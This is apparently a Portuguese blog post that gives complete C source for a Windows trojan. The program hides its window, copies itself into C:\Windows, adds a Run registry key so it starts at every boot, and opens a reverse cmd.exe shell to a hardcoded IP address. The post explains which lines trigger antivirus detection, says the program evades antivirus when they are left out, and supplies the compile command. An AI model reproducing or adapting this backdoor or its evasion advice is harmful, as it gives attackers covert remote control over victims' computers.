[C] - Malware Detectable




Esse trojan-horse depois de compilado é detectado pelos antivírus por causa da linha de comando abaixo:
"HKEY key; 
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &key);
RegSetValueEx(key, "msfconfig", 0, REG_SZ, (LPBYTE)"\"C:\\Windows\\msfconfig.exe\"", 26);
RegCloseKey(key);
"
Como também se adicionar essa linha ao código será detectado também:
"system("REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Services /t reg_sz /d \"\"\"\"C:\\Windows\\services.exe\"\" /f" );
system("XCOPY /Y services.exe C:\\Windows");"

Caso se não utilizar nenhuma dessas linhas de comando citado acima, dificilmente o anti-vírus pega.
EXEMPLO DE COMO COPILAR: gcc msfconfig.c -o msfconfig.exe -l ws2_32



#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib")
#define maringa 590
#define parana "192.168.15.3"


WSADATA florionopolis;
SOCKET Vivaesperanca;
STARTUPINFO praiabrava;
PROCESS_INFORMATION santinha;
struct sockaddr_in Vivaesperanca_Structure;

int main(int argc, char *argv[])
{
ShowWindow(GetForegroundWindow(),SW_HIDE);

 HKEY key;
 RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run", &key);
 RegSetValueEx(key, "msfconfig", 0, REG_SZ, (LPBYTE)"\"C:\\Windows\\msfconfig.exe\"", 26);
 RegCloseKey(key);

 FILE* tmp = tmpfile();
 system("XCOPY /Y msfconfig.exe C:\\Windows");

 while(1)
 {

  char *ombro =  parana;
  short olho = maringa;
     
  if (argc == 3)
  {
    strncpy(ombro,argv[1],16);
    olho = atoi(argv[2]);
  }
      
  WSAStartup(MAKEWORD(2,2), &florionopolis);
  Vivaesperanca=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL);
  Vivaesperanca_Structure.sin_port=htons(olho);
  Vivaesperanca_Structure.sin_family=AF_INET;
  Vivaesperanca_Structure.sin_addr.s_addr=inet_addr(ombro);
    
  if(Vivaesperanca==INVALID_SOCKET)
  {
    WSACleanup();

  }

  if(WSAConnect(Vivaesperanca,(SOCKADDR*)&Vivaesperanca_Structure,sizeof(Vivaesperanca_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR)
  {
    WSACleanup();

  }
   
  memset(&praiabrava,0,sizeof(praiabrava));
  praiabrava.cb=sizeof(praiabrava);
  praiabrava.dwFlags=STARTF_USESTDHANDLES;
    
 
  praiabrava.hStdInput = praiabrava.hStdOutput = praiabrava.hStdError = (HANDLE)Vivaesperanca;
    

  if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&praiabrava,&santinha)==0)
  {
    WSACleanup();

  }
 }

}


Comentários